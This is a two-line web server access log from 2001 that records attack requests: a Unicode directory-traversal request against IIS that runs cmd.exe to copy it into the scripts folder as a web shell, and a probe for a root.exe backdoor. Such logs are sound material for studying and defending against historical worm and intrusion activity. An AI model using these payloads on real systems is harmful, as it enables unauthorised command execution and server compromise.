20010923 14:05:51: [64.226.245.184] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\shell.exe" 20010923 14:48:44: [203.127.118.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"